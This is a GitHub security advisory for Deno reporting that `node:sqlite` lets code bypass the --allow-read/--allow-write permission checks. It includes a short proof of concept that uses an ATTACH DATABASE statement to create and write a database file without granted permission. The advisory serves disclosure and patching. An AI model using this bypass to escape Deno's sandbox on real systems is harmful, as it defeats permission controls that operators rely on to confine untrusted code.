You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Moderate severity
GitHub Reviewed
Published
Jun 3, 2025
in
denoland/deno
•
Updated Dec 31, 2025
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
PoC
// poc.jsimport{DatabaseSync}from"node:sqlite"constdb=newDatabaseSync(":memory:");db.exec("ATTACH DATABASE 'test.db' as test;");db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Learn more on MITRE.
Summary
It is possible to bypass Deno's read/write permission checks by using
ATTACH DATABASEstatement.PoC
References